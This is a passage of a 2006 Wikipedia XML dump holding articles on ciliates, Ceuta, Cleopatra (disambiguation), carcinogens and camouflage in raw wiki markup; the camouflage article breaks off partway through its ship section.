Unlike other [[eukaryote]]s, ciliates have two different sorts of [[cell nucleus|nuclei]]: a small, [[diploid]] [[micronucleus]] (reproduction), and a large, [[polyploid]] [[macronucleus]] (general cell regulation).  The latter is generated from the micronucleus by amplification of the genome and heavy editing. The high degree of polyploidi allows the cell to sustain an appropriate level of [[transcription (genetics)|transcription]]. Division of the macronucleus does not occur by a [[mitosis|mitotic process]] but segregation of the chromosomes is by a different process, whose mechanism is unknown. This process is by no means perfect, and after about 200 generations the cell shows signs of aging. Periodically the macronuclei must be regenerated from the micronuclei.  In most, this occurs during [[sexual reproduction]], which is not usually through [[syngamy]] but through ''conjugation''.  Here two cells line up, the micronuclei undergo [[meiosis]], some of the [[haploid]] daughters are exchanged and then fuse to form new micro- and macronuclei.

With a few exceptions, there is a distinct ''[[cytostome]]'' or mouth where ingestion takes place.  Food [[vacuole]]s are formed through [[phagocytosis]] and typically follow a particular path through the cell as their contents are digested and broken down via [[lysosomes]] so the substances the vacuole contains are then small enough to [[diffuse]] through the membrane of the food vacuole into the cell. Anything left in the food vacuole by the time it reaches the cytoproct (anus) is discharged via [[exocytosis]].  Most ciliates also have one or more prominent contractile vacuoles, which collect water and expel it from the cell to maintain osmotic pressure, or in some function to maintain ionic balance.  These often have a distinctive star-shape, with each point being a collecting tube.

Most ciliates feed on smaller organisms (heterotrophic), such as [[bacterium|bacteria]] and [[alga]]e, and detritus swept into the mouth by modified oral cilia.  These usually include a series of membranelles to the left of the mouth and a paroral membrane to its right, both of which arise from ''polykinetids'', groups of many cilia together with associated structures.  This varies considerably, however.  Some ciliates are mouthless and feed by absorption, while others are predatory and feed on other protozoa and in particular on other ciliates.  This includes the suctoria, which feed through several specialized tentacles.

In some forms there are also body polykinetids, for instance, among the [[spirotrich]]s where they generally form bristles called ''cirri''.  More often body cilia are arranged in ''mono-'' and ''dikinetids'', which respectively include one and two kinetosomes (basal bodies), each of which may support a cilium.  These are arranged into rows called ''kineties'', which run from the anterior to posterior of the cell.  The body and oral kinetids make up the ''infraciliature'', an organization unique to the ciliates and important in their classification, and include various fibrils and [[microtubule]]s involved in coordinating the cilia.

The infraciliature is one of the main component of the cell cortex.  Another are the ''alveoli'', small vesicles under the cell membrane that are packed against it to form a [[pellicle]] maintaining the cell's shape, which varies from flexible and contractile to rigid.  Numerous [[mitochondrion|mitochondria]] and [[extrusome]]s are also generally present.  The presence of alveoli, the structure of the cilia, the form of mitosis and various other details indicate a close relationship between the ciliates, [[Apicomplexa]], and [[dinoflagellate]]s.  These superficially dissimilar groups make up the [[alveolate]]s.

==Classification==
Phylum '''Ciliophora'''
* Class [[Karyorelictea]]
* Class [[Heterotrich]]ea  (e.g. ''[[Stentor (genus)|Stentor]]'') [[Image:Stentor roeseli composite image.jpg|thumb|''[[Stentor roeseli]]'']]
* Class [[Spirotrich]]ea
** Subclass [[Choreotrich]]ia (e.g. ''[[Tintinnidium]]'')
** Subclass [[Oligotrich]]ia (e.g. ''[[Halteria]]'')
** Subclass [[Stichotrich]]ia (e.g. ''[[Stylonychia]]'')
** Subclass [[Hypotrich]]ia (e.g. ''[[Euplotes]]'')
* Class [[Litostomatea]]
** Subclass [[Haptoria]] (e.g. ''[[Didinium]]'')
** Subclass [[Trichostome|Trichostomatia]] (e.g. ''[[Balantidium]]'') [[Image:Balantidium trophB.JPG|thumb|A [[trophozoite]] of ''[[Balantidium coli]]'']]
* Class [[Phyllopharyngea]]
** Subclass [[Phyllopharyngia]]
** Subclass [[Rhynchodia]]
** Subclass [[Chonotrich]]ia
** Subclass [[Suctoria]] (e.g. ''[[Podophrya]]'')
* Class [[Nassophorea]]
* Class [[Colpodea]] (e.g. ''[[Colpoda]]'')
* Class [[Prostomatea]] (e.g. ''[[Coleps]]'')
* Class [[Oligohymenophorea]]
** Subclass [[Peniculid|Peniculia]] (e.g. ''[[Paramecium]]'')
** Subclass [[Hymenostome|Hymenostomatia]] (e.g. ''[[Tetrahymena]]'')
** Subclass [[Scuticociliate|Scuticociliatia]]
** Subclass [[Peritrich]]ia (e.g. ''[[Vorticella]]'')
** Subclass [[Astome|Astromatia]]
** Subclass [[Apostome|Apostomatia]]
* Class [[Plagiopylid|Plagiopylea]]

[[Category:Protista]]
[[Category:Ciliates|*]]

[[de:Wimpertierchen]]
[[es:Ciliophora]]
[[fr:Ciliata]]
[[nl:Ciliophora]]
[[nds:Ciliophora]]
[[ja:繊毛虫]]
[[pt:Ciliado]]
[[sr:Трепљари]]
[[sv:Ciliater]]</text>
    </revision>
  </page>
  <page>
    <title>Ceuta</title>
    <id>6443</id>
    <revision>
      <id>41931222</id>
      <timestamp>2006-03-02T18:30:59Z</timestamp>
      <contributor>
        <ip>84.122.144.70</ip>
      </contributor>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0.5em 0 1em 1em; background: #ffffff; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''Ciudad Autónoma de Ceuta'''&lt;/big&gt;&lt;/big&gt;
{| border=0 cellpadding=2 cellspacing=0 style=&quot;background:#f9f9f9; text-align:center;&quot;
| bgcolor=&quot;#ffffff&quot; align=center colspan=2 |
{| border=0 cellpadding=2 cellspacing=0
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Flag of Ceuta.svg|140px|Ceuta official flag]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:EscudoCeuta.gif|80px|Coat of Arms]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; | [[Flag of Ceuta|Flag]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Coat of Arms of Ceuta|Coat of Arms]]
|}
|-
| bgcolor=&quot;#c6c6c6&quot; align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Locator map of Ceuta.png]]
|-
| [[Area]]&lt;br&gt;&amp;nbsp;&amp;ndash; Total
| &amp;nbsp;&lt;br&gt; [[1 E7 m²|28]] [[square kilometre|km²]]
|-
| [[Population]]&lt;br&gt;&amp;nbsp;&amp;ndash; Total (2005)&lt;br&gt;&amp;nbsp;&amp;ndash; [[Density]]
| &lt;br&gt;&amp;nbsp;75,276&lt;br&gt;&amp;nbsp;2688.43/km²
|-
| [[Demonym]]&lt;br&gt;&amp;nbsp;&amp;ndash; [[English language|English]]&lt;br&gt;&amp;nbsp;&amp;ndash; [[Spanish language|Spanish]]
| &lt;br&gt;---&lt;br&gt;''ceutí''
|-
| Statute of Autonomy
| [[March 14]], [[1995]]
|-
| [[ISO 3166-2]]
| ES-CE
|-
| [[Cortes Generales|Parliamentary&lt;br&gt;representation]]&lt;br&gt;&amp;nbsp;[[Spanish Congress|Congress seats]]&lt;br&gt;&amp;nbsp;[[Spanish Senate|Senate seats]]
| valign=bottom | 1&lt;br&gt;2
|-
| [[List of Presidents of Ceuta|President]]
| [[Juan Jesús Vivas Lara]] ([[Partido Popular|PP]])
|-
| align=center colspan=2 | [http://www.ciceuta.es Ciudad Autónoma de Ceuta]
|-
|}
|}

'''Ceuta''' is a [[Spain|Spanish]] [[exclave]] in [[North Africa]], located on a northern tip of the [[Maghreb]], on the [[Mediterranean]] coast near the [[Strait of Gibraltar]]. It is known in [[Arabic language|Arabic]] as سبتة ''Sebta''. Its area is approximately [[1 E7 m²|28]] [[square kilometre|km²]].

Ceuta is dominated by a hill called [[Monte Hacho]], on which there is a fort occupied by the Spanish army. Monte Hacho is one of the possible locations for the southern [[Pillars of Hercules]] of Greek Legend, the other possibility being [[Jebel Musa]].

==History==
Ceuta's strategic location has made it the crucial waypoint of many cultures' trade and military ventures &amp;mdash; beginning with the [[Carthage|Carthaginians]] in the [[5th century BC]] (They called the city ''Abyla''). It wasn't until the [[Roman Empire|Romans]] took control in about AD [[42]], however, that the port city (named ''Septem'' at the time) assumed an almost exclusive military purpose. Approximately 400 years later, the [[Vandal]]s ousted the Romans for control, and later it fell to the [[Visigoth]]s of Spain or to the [[Byzantine Empire|Byzantine]]s. 

In [[710]], as [[Muslim]] invaders approached the city, its Visigothic governor [[Julian, count of Ceuta|Julian]] (also described as &quot;king of the [[Ghomara]]&quot;) changed sides and urged them to invade Spain (for personal reasons, according to the Arab chroniclers; the Visigothic King [[Roderic|Roderick]] is said to have mistreated his daughter). Under the leadership of [[Berber]] general [[Tariq ibn Ziyad]], Ceuta was used as a prime [[staging area|staging ground]] for an assault on [[Visigoth]]-ruled [[Iberian Peninsula|Iberia]] soon after.

After Julian's death the Arabs took direct control of the city; this was resented by the surrounding indigenous [[Berber]] tribes, who destroyed it in a [[Kharijite]] rebellion led by [[Maysara al-Haqir]] in [[740]]. It lay waste until refounded in the [[9th century]] by [[Majakas]], chief of the [[Majkasa]] Berber tribe, who started the short-lived dynasty of the [[Banu Isam]]. Under his great-grandson they paid allegiance to the [[Idrisid|Idrisids]] (briefly); the dynasty finally ended when he abdicated in favour of the [[Umayyad]] [[Caliph of Cordoba]] [[Abd ar-Rahman III]] an-Nasir in [[931]]. Chaos ensued with the fall of the Umayyad caliphate in [[1031]], but eventually it was taken over by the [[Almoravid]]s in [[1084]], and again used as a base from which to invade Spain. They were succeeded by the [[Almohad]]s in [[1147]], who ruled it, apart from Ibn Hud's rebellion of [[1232]], until the [[Hafsid]]s took it in [[1242]]. The Hafsids' influence in the west rapidly waned, and the city expelled them in [[1249]]; after this, it went through a period of political instability. In 1309 was captured with aragonese help.

&lt;b&gt;[[Kingdom of Fez]](1309-1415)&lt;/b&gt;

In [[1415]], Ceuta was taken by the [[Portugal|Portuguese]] during the reign of [[John I of Portugal]]. The primary aim of the conquest was to expel Muslim influence from the area and further promote [[Christianity]]. 

In the Treaty of [[Lisbon]] ([[1 January]] [[1668]]), Don [[Alfonso VI of Portugal]] formally ceded the area of Ceuta to [[Carlos II of Spain]].

Culturally, modern Ceuta  can be considered to belong to the Andalusian region. Indeed, it was untill recently attached to the provice of Cadiz -the coasts of Cadiz being only 12 miles away. It is a very cosmopolitan city, with a large ethnic berber muslim minority as well as jewish and hindu minorities.

[[Image:Ceuta, as photographed from Morocco.JPG|thumb|right|280px|Eastern Ceuta, as photographed from [[Morocco]]. [[Monte Hacho]] is the hill to the right of the picture.]]
[[Image:Ceuta fair.JPG|thumb|right|280px|The entrance to the fair at Ceuta. As in [[Andalucia]], the nightlife in Ceuta carries on until the early hours. In the first week of [[August]], Ceuta celebrates its [[patron saint]], [[Our Lady of Africa]]. These celebrations include a large and colourful funfair that stays open late into the night.]]
[[Image:Ceuta - showing Royal Walls and Monte Hacho.JPG|thumb|right|280px|Ceuta's [[Royal Walls]] are in the foreground. Boats travel between the east and west sides of Ceuta. In the background is Monte Hacho. On top of the hill is a Spanish fort occupied by the Spanish army.]]
[[Image:Spanish-Moroccan border (Ceuta-Sebta).JPG|thumb|right|280px|The border with Morocco. Passing through this border post usually takes one to two hours. ''Grands taxis'' leave from the other side for [[Tétouan]] and [[Tangier]].]]

==Administration==
Ceuta is known officially in [[Spanish language|Spanish]] as '''Ciudad Autónoma de Ceuta''', the '''Autonomous City of Ceuta''', having a rank between a standard Spanish city and an [[autonomous communities of Spain|autonomous community]]. Before the Statute of Autonomy, Ceuta was administratively part of the [[Cádiz (province)|Cádiz]] [[provinces of Spain|province]].

Ceuta forms part of the territory of the [[European Union]]. The city was a [[free port]] before Spain joined the European Union in 1986. Now it has a low-taxes system inside the European Monetary System. As of [[1994]] its population was 71,926.

The government of [[Morocco]] has called for the integration of Ceuta and [[Melilla]], along with uninhabited islands such as [[Isla Perejil]], into its national territory, drawing comparisons with Spain's territorial claim to [[Gibraltar]]. The Spanish government and both Ceuta's and Melilla's autonomous governments and inhabitants reject these comparisons on the ground that both Ceuta and Melilla are integral parts of the Spanish state whereas Gibraltar, a British [[Crown colony]], is not and never has been part of the [[United Kingdom]]. Morocco however dismisses this argument as an irrelevant domestic technical distinction.

[[ISO 3166-1]] reserves ''EA'' as the country code for Ceuta and [[Melilla]].

==See also==
* [[Ceuta border fence]]
* [[Isla Perejil]]
* [[Melilla]]

==External links==
*[http://www.iespana.es/conoceceuta/0200-pagina%20principal%20ingles.htm Guide to Ceuta (in English) (still under construction)]
*[http://www.ceuta.com/historia/c-historia.html Information on the history of Ceuta (in Spanish)]
*[http://www.ciceuta.es/ Official Ceuta government website (in Spanish)]
*[http://news.bbc.co.uk/2/hi/europe/2131636.stm Spain's North African enclaves]
*[http://www.sandergroen.nl/ceuta/beeld Photos: Ceuta]
*[http://www.sandergroen.nl/ceuta/semanasanta Photos: Semana Santa in Ceuta]
*[http://pl.wikipedia.org/wiki/Ceuta Map of Ceuta and Perejil Island]

{{Spain}}
{{SPprov}}

[[Category:Autonomous communities of Spain]]
[[Category:Exclaves]]
[[Category:Maghreb]]
[[Category:Municipalities in Spain]]
[[Category:Ports and harbours of Spain]]
[[Category:Special territories of the European Union]]

[[ar:سبتة]]
[[an:Zeuta]]
[[ast:Ceuta]]
[[bg:Сеута]]
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[[ca:Ceuta]]
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[[es:Ceuta]]
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[[fr:Ceuta]]
[[gl:Ceuta]]
[[ko:세우타]]
[[id:Ceuta]]
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[[sv:Ceuta]]
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[[zh:休达]]</text>
    </revision>
  </page>
  <page>
    <title>Cleopatra (disambiguation)</title>
    <id>6444</id>
    <revision>
      <id>41658905</id>
      <timestamp>2006-02-28T21:40:18Z</timestamp>
      <contributor>
        <username>Mattbrundage</username>
        <id>147445</id>
      </contributor>
      <minor />
      <comment>disamb.</comment>
      <text xml:space="preserve">{{wiktionarypar|Cleopatra}}
'''Cleopatra''' is the name given to several historical and mythological figures, most especially:

* [[Cleopatra VII of Egypt]], last of the [[Ptolemaic dynasty|Ptolemaic]] rulers of [[Egypt]], lover of [[Roman Republic|Roman]] leaders [[Julius Caesar]] and [[Mark Antony]], and the subject of several plays (including ''[[Antony and Cleopatra]]'' by [[William Shakespeare|Shakespeare]]) and various films.
* Six other Egyptian queens: [[Cleopatra I of Egypt|Cleopatra I]], [[Cleopatra II of Egypt|Cleopatra II]], [[Cleopatra III of Egypt|Cleopatra III]], [[Cleopatra IV of Egypt|Cleopatra IV]], [[Cleopatra V of Egypt|Cleopatra V]] and [[Cleopatra VI of Egypt|Cleopatra VI]].
* [[Cleopatra of Macedonia]] (c. 356 BC&amp;ndash;308 BC), sister of Macedonian King [[Alexander the Great]] and daughter of King [[Philip II of Macedon]] and [[Olympias]].
* [[Cleopatra of Pontus]] (born [[110 BC]]), [[Pontian]] wife of [[Tigranes the Great]] and daughter of [[Mithridates VI of Pontus]]
* [[Cleopatra Selene]], daughter of Antony and Cleopatra.
* [[Cleopatra Thea]], queen of the [[Seleucid Empire]] from [[125 BC|125]]-[[121 BC]]
* Daughter of [[Idas]] and wife of [[Meleager]] in [[Greek mythology]]
* See [[Cleopatra (film)]] for movies based on the life of Cleopatra of Egypt
* [[Cleopatra (band)|Cleopatra]] is a musical group from the [[United Kingdom|UK]] who had several hits in the 1990s.
* '''Cleopatra''' is a musical group from Greece who entered the [[Eurovision Song Contest 1992]] with the song &quot;Olou Tou Kosmou I Elpida&quot;
*[[Cleopatra Jones]] a [[Blaxploitation]] movie series and its eponymous heroine.
*[[Cleopatra 2525]] a television science fiction series.
*[[216 Kleopatra]] a bizarrely shaped [[asteroid]].

See [[Cleo]] for people, places, and things named '''Cleo'''.
{{disambig}}
[[Category: Human name disambiguation]]

[[bg:Клеопатра]]
[[de:Kleopatra]]
[[es:Cleopatra]]
[[eu:Kleopatra]]
[[fr:Cléopâtre]]
[[it:Cleopatra (disambigua)]]
[[lt:Kleopatra]]
[[nl:Cleopatra]]
[[ja:クレオパトラ]]
[[no:Kleopatra]]
[[pl:Kleopatra]]
[[ru:Клеопатра]]
[[sq:Kleopatra (kthjellim)]]
[[sk:Kleopatra]]
[[sr:Клеопатра]]
[[sv:Kleopatra]]
[[zh:克利奧帕特拉]]</text>
    </revision>
  </page>
  <page>
    <title>Carcinogen</title>
    <id>6445</id>
    <revision>
      <id>41487651</id>
      <timestamp>2006-02-27T18:19:53Z</timestamp>
      <contributor>
        <username>Evmore</username>
        <id>333434</id>
      </contributor>
      <comment>Adde EPA classificatiob section</comment>
      <text xml:space="preserve">In [[pathology]], a '''carcinogen''' is any substance or agent that promotes [[cancer]]. Carcinogens are also often, but not necessarily, [[mutagen]]s or [[teratogen]]s.

Carcinogens may cause cancer by altering cellular metabolism or damaging [[DNA]] directly in [[cell (biology)|cell]]s, which interferes with normal [[biology|biological]] processes. Usually cells are able to detect this and attempt to [[DNA repair|repair]] the DNA; if they cannot, they may undergo [[programmed cell death]] to protect the organism. However, when the damage interferes with genes responsible for programmed cell death or perhaps encourages [[cell division]], cancer may occur.  Rapidly dividing cells, such as in [[skin]], the [[stomach]] and [[intestine|intestinal]] lining, [[breast]] tissue, and [[reproductive organ]]s, are particularly sensitive to carcinogens due to any damaged DNA being quickly replicated. Unrepaired DNA replication can then lead to further accumulation of mutations between cell divisions.

Most carcinogens consumed by humans are produced by [[plant]]s to prevent [[animal]]s from eating them (as are [[alkaloid]]s).  Plants containing large amounts of carcinogens include [[aristolochia]] and [[bracken]]. [[Aflatoxin]] B&lt;sub&gt;1&lt;/sub&gt;, which is produced by the [[fungus]] ''[[Aspergillus]] flavus'' growing on stored [[cereal|grain]]s, [[nut (fruit)|nut]]s and [[peanut butter]], is an example of a potent, naturally-occurring [[microbe|microbial]] carcinogen. Cooking protein-rich food at high temperatures, such as broiling or barbecuing meats, can lead to the formation of many potent carcinogens that are comparable to those found in cigarrette smoke (i.e., benzo[a]pyrene). Pre-cooking meats in a microwave oven for 2-3 minutes before broiling can help minimize the formation of these carcinogens.

[[DDT]], [[benzene]], [[kepone]], [[EDB]], [[asbestos]], and the waste rock of [[oil shale|oil-shale]] mining have all been classified as carcinogenic. As far back as the [[1930s]], [[Industry|industrial]] and [[tobacco]] smoke were identified as sources of dozens of carcinogens, including [[benzopyrene]], tobacco-specific [[nitrosamine]]s such as [[nitrosonornicotine]] (NNN), and reactive [[aldehyde]]s such as [[formaldehyde]] &amp;mdash; which is also a hazard in [[embalming]] and making [[plastic]]s. [[Vinyl chloride]] from PVC is a carcinogen. Certain viruses such as [[Hepatitis B]] and [[human papilloma virus]]es have been found to cause cancer in humans. The first one shown to cause cancer in animals was [[chicken sarcoma virus]], discovered in [[1910]] by [[Peyton Roux]].

[[CERCLA]] identifies all [[radionuclide]]s as carcinogens, although the nature of the emitted [[Radioactive decay|radiation]] ([[alpha particle|alpha]], [[beta particle|beta]], or [[gamma ray|gamma]], and the energy), its consequent capacity to cause [[ionization]] in tissues, and the magnitude of radiation exposure, determine the potential hazard. For example, [[Thorotrast]], an (incidentally-radioactive) [[suspension (chemistry)|suspension]] previously used as a [[contrast]] medium in [[x-ray]] diagnostics, is thought by some to be the most potent human carcinogen known because of its retention within various [[organ (biology)|organ]]s and persistent emission of alpha particles. Both [[Wilhelm Conrad Röntgen|Wilhelm Röntgen]] and [[Marie Curie]] died of cancer caused by radiation exposure during their experiments. The non-reproducing cells of the (non-[[gamete|gametogenic]]) tissues of adult [[insect]]s are particularly resistant.

Recent reports have implicated [[acrylamide]] in fried or overheated [[carbohydrate]] foods (such as [[french fries]] and [[potato chips]]) as a possible carcinogen. Studies are underway at the [[US Food and Drug Administration|FDA]] and [[Europe]]an regulatory agencies to assess its potential risk. The charred residue on [[barbecue]]d meats has been identified as a carcinogen, along with many other [[tar]]s.

Co-carcinogens are chemicals which do not separately cause cancer, but do so in specific combinations.

== [[International Agency for Research on Cancer|IARC]] classification of carcinogens ==
*[[List of IARC Group 1 carcinogens|Group 1]]: the agent (mixture) is carcinogenic to humans. The exposure circumstance entails exposures that are carcinogenic to humans.
*[[List of IARC Group 2A carcinogens|Group 2A]]: the agent (mixture) is probably carcinogenic to humans. The exposure circumstance entails exposures that are probably carcinogenic to humans.
*[[List of IARC Group 2B carcinogens|Group 2B]]: the agent (mixture) is possibly carcinogenic to humans. The exposure circumstance entails exposures that are possibly carcinogenic to humans.
*[[List of IARC Group 3 carcinogens|Group 3]]: the agent (mixture or exposure circumstance) is not classifiable as to its carcinogenicity to humans.
*[[List of IARC Group 4 carcinogens|Group 4]]: the agent (mixture) is probably not carcinogenic to humans.
Further details can be found in the [http://www-cie.iarc.fr/ IARC Monographs].

==[[Environmental Protection Agency|EPA]] classification of carcinogens==
*Group A: Human Carcinogen
*Group B: Probable Human Carcinogen
*Group C: Possible Human Carcinogen
*Group D: Not classifiable as to Human Carcinogenicity
*Group E: Evidence of Non-Carcinogenicity for Humans
Further details can be found in the EPA [http://www.pested.psu.edu/infocenter/issues/fqpacanctab.pdf List of Chemicals Evaluated for Carcinogenic Potential].

== See also ==
* [[International Agency for Research on Cancer]]

== External links ==
* [http://ntp.niehs.nih.gov/index.cfm?objectid=03C9B512-ACF8-C1F3-ADBA53CAE848F635 U.S. National Toxicology Program's Report on Carcinogens]

{{Tumors}}

[[Category:Biochemicals]]
[[Category:Carcinogens|*]]
[[Category:Oncology]]
[[Category:Toxicology]]

[[da:Carcinogen]]
[[de:Karzinogen]]
[[es:Carcinogénesis]]
[[fr:Cancérogène]]
[[id:Karsinogen]]
[[it:Agenti cancerogeni]]
[[ms:Karsinogen]]
[[nl:Carcinogeen]]
[[zh:致癌物質]]</text>
    </revision>
  </page>
  <page>
    <title>Camouflage</title>
    <id>6446</id>
    <revision>
      <id>40889559</id>
      <timestamp>2006-02-23T18:11:43Z</timestamp>
      <contributor>
        <username>Gobeirne</username>
        <id>37144</id>
      </contributor>
      <minor />
      <comment>rm linkspam</comment>
      <text xml:space="preserve">:''For the German synth pop band, see [[Camouflage (band)]].''

[[Image:Anole 8172.JPG|right|framed|''[[Carolina Anole|Anolis caroliensis]]'' showing blending camouflage and counter-shading.]]
'''Camouflage''' is the method which allows an otherwise visible [[organism]] or object to remain [[Invisibility|indiscernible from the surrounding environment]]. Examples include a [[tiger]]'s stripes and the [[battledress]] of a modern soldier. Camouflage is a form of [[deception]].  The word camouflage comes from the [[French language|French]] word 'camoufler' meaning 'to disguise'.

==Natural camouflage== 
[[Image:Camouflage.jpg|right|250px|thumbnail|An infant [[cuttlefish]] blends into the surrounding sand substrate]]

In nature, there is a strong evolutionary pressure for animals to blend into their environment or conceal their shape; for prey animals to avoid predators and for predators to be able to sneak up on prey.  Natural camouflage is one method that animals use to meet these aims.

[[Image:P9300228.jpg|left|250px|thumbnail|[[Tawny Frogmouth]] blends in with colour and texture of tree bark]]

Different aspects of animal camouflage exist due to difference in the [[sensory]] abilities of different animals.  Some animals use [[mimicry]], seeming to be something else, such as a leaf, a stone, a twig, or a similar but more dangerous/poisonous animal.
 
Some mimics also simulate natural movement, e.g., of a leaf in the wind. This is called procryptic behaviour or habit. Other animals attach or attract natural materials to their body for concealment.

A few animals have chromatic response, changing colour in changing environments, either seasonally ([[ermine]], [[snowshoe hare]]) or far more rapidly with [[chromatophore]]s in their integument ([[chameleon]], the [[cephalopod]] family).

Some animals, notably in aquatic environments, also take steps to camouflage the odours they create that may attract predators.

Some herd animals or school of fishes adopt a similar pattern to make it difficult to distinguish a single animal such as Zebras, or a large school of fish, with reflecitive scales or similar markings, making it difficult to distinguish a single fish.



Countershading (or obliterative camouflage), the use of different colours on upper and lower surfaces in graduating tones from a light belly to a darker back, is common in the sea and on land. This is sometimes called Thayer's law, after Abbott H. Thayer who published a paper on the form in [[1896]].

[[Image:Ibexes.jpg|thumb|right|250px|Countershaded [[Ibex]] are almost invisible in the Israeli desert.]]
[[image:bristol.zoo.dead.leaf.mantis.arp.jpg|thumb|right|250px|Dead Leaf mantis from Madagascar, surely the ultimate in camouflage]]

==Military camouflage==

&lt;i&gt;For more details, see [[Military camouflage]].&lt;/i&gt;

Camouflage was not in wide use in early warfare.  [[19th century]] armies tended to use bright colours and bold, impressive designs. These were intended to daunt the enemy, attract recruits, foster unit cohesion, allow easier identification of units in the [[fog of war]].

Smaller, irregular units of scouts in the [[18th century]] were the first to adopt colours in drab shades of brown and green. Major armies retained their colour until convinced otherwise. The British in India in [[1857]] were forced by casualties to dye their red [[tunic]]s to neutral tones, initially a muddy tan called [[khaki (color)|khaki]] (from the [[Urdu]] word for 'dusty'). This was only a temporary measure. It became standard in Indian service in the [[1880s]], but it was not until the [[Second Boer War]] that, in [[1902]], the uniforms of the entire British army were standardised on this dun tone for [[battledress]].

The United States was quick to follow the British, going khaki in the same year. Russia followed, partially, in [[1908]]. The Italian army used ''grigio-verde'' (&quot;grey-green&quot;) in the Alps from [[1906]] and across the army from [[1909]]. The Germans adopted ''feldgrau'' (&quot;field grey&quot;) in [[1910]].

Other armies retained brighter colours. At the beginning of [[World War I]] the French experienced heavy losses because the troops wore red (''garance'') trousers as part of their uniform. This was changed in early [[1915]], partly due to casualties and partly because the red dye was manufactured in Germany. The French army also adopted a new &quot;horizon blue&quot; jacket. The Belgian army started using khaki uniforms in [[1915]].

The French also established a ''Section de Camouflage'' (Camouflage Department) in [[1915]], briefly headed by [[Eugene Corbin]] and then by [[Lucien-Victor Guirand de Scévola]]. The camouflage experts were, for the most part, painters, sculptors, theatre set artists and such. Technological constraints meant that patterned camouflage uniforms were not mass manufactured during [[WW I]]. Each patterned uniform was hand-painted, and so restricted to snipers, forward artillery observers, and other exposed individuals. More effort was put into concealing larger pieces of equipment and important structures. By mid-1915 the French ''section'' had four workshops - one in Paris and three nearer the front - mainly producing camouflage netting and painted canvas. Netting quickly moved from wire and fabric to use [[raffia]], [[Burlap|hessian]], and [[cocoa]] - the integration of natural materials was always recommended.

Units of ''Camoufleurs'' who were artists, designers, or architects in civilian life were also largely used by the forces of the [[United Kingdom]] (Camouflage Section established in late [[1916]] based at Wimereux) and the US (New York Camouflage Society established in April [[1917]], official Company A, 40th Engineers set up in January [[1918]] and the Women's Reserve Camouflage Corps) and to a lesser extent by Germany (from [[1917]], '''see''', for example, [[Lozenge]] - possibly the earliest printed camouflage), [[Italy]] (''Laboratorio di mascheramento'' established in [[1917]]), [[Belgium]]] and [[Russia]]. The word camouflage first entered the English language in [[1917]].

Camouflage added to helmets was unofficially popular, but these were not mass-produced until the Germans began in [[1916]] to issue ''stahlhelme'' (steel helmets) in green, brown, or [[ochre]]. Mass-produced patterned, reversible, cloth covers were also issued shortly before the end of the war, although hand-made examples were in use from late [[1914]]. Net covering was also examined, either fitted with natural vegetation or with coloured fabric strips called [[scrim]].

Specialist troops, notably [[snipers]], could be supplied with various items of camouflage, including patterned veils for the head and gun, hand-painted overalls and scrim covered netting or sacking - an adaptation of the rag camouflage used in [[Scotland]] by anti-poaching wardens, ''gillies'', the first [[ghillie suit]]s.

[[Image:HMMWV_camouflage.JPG|left|thumb|150px|Two [[HMMWV]]s, one in desert camouflage, one in woodland]]

The first mass produced military camouflage material was the Italian ''telo mimetico'' (&quot;mimetic cloth&quot;) pattern of [[1929]], used to cover a shelter-half (''telo tenda''), an idea copied by the Germans in [[1931]]. With mass-production of patterned fabrics possible, they became far more common on individual soldiers in WW II. Initially patterning was uncommon, a sign of elite units, to the extent that captured camouflage uniforms would be often 'recycled' by an enemy. The Red Army issued &quot;amoeba&quot; disruptive pattern suits to snipers from [[1937]] and all-white ZMK top-garments the following year, but it was not until hostilities began that more patterns were used.

The Germans had experimented before the war and some army units used &quot;splinter&quot; pattern camouflage. [[Waffen-SS]] combat units experimented with various patterns, including ''palmenmuster'' (&quot;palm pattern&quot;), ''sumpfmuster'' (&quot;swamp pattern&quot;), ''erbsenmuster'' (&quot;pea pattern&quot;), and also ''telo mimetico'' (&quot;mimetic cloth&quot;) using fabric seized from the Italians in [[1943]] - the [[Leibstandarte SS Adolf Hitler|''Leibstandarte SS Adolf Hitler'']] division often wore this pattern.

The British did not use disruptive-pattern uniforms until [[1942]], with the hand-painted [[Denison Smock|Denison smock]] for paratroopers, followed in 1943 with a similar style M42 garment.

[[Image:Camouflaged ship c.jpg|thumb|300px|A Royal Norwegian Navy craft, in a splinter camouflage pattern]]

The US Corps of Engineers began wide-ranging experiments in [[1940]], but little official notice was taken until [[1942]] when General [[Douglas MacArthur|MacArthur]] demanded 150,000 jungle camouflage uniforms. A [[1940]] design, dubbed &quot;frog-skin&quot;, was chosen and issued as a reversible beach/jungle coverall - soon changed to a two-part jacket and trousers. It was first issued to the [[US Marines]] fighting on the [[Solomon Islands]]. Battle-field experience showed that pattern was unsuitable for moving troops and production was halted in [[1944]] with a return to standard single-tone uniforms.

With the return of war camouflage sections were revived. The British set up the Camouflage Development and Training Centre in [[1940]] at [[Farnham Castle]], [[Surrey]]. Early staff included artists from the Industrial Camouflage Research Unit such as [[Roland Penrose]] and [[Frederick Gore]], and the stage magician [[Jasper Maskelyne]] (later famous for his camouflage work in the [[North African campaign]]).

From [[1978]] to the early [[1980s]], the American [[2d Armored Cavalry Regiment]] stationed in Europe used a digital camouflage pattern on its vehicles. During [[1979]] and [[1980]] the [[Australian Army]] experimented with digital camouflage on helicopters. More recently, [[battledress]] in digital camouflage patterns has been adopted by the [[Canadian Forces Land Force Command|Canadian Army]] and [[Canadian Forces Air Command|Air Force]] ([[CADPAT]]), the [[United States Marine Corps]] ([[MARPAT]]), and much of the [[military of Jordan]].

===Ship camouflage===
[[Image:Q-ship dazzle camouflage.jpg|thumb|400px|A [[World War I]] [[Q-ship]] disguised by dazzle camouflage.]]
World War I also saw the advent of ship camouflage. Although most gunships were still painted a uniform grey, five schemes were approved in the United States for merchant ship camouflage. Ships without camouflage were required to pay higher war risk premiums.

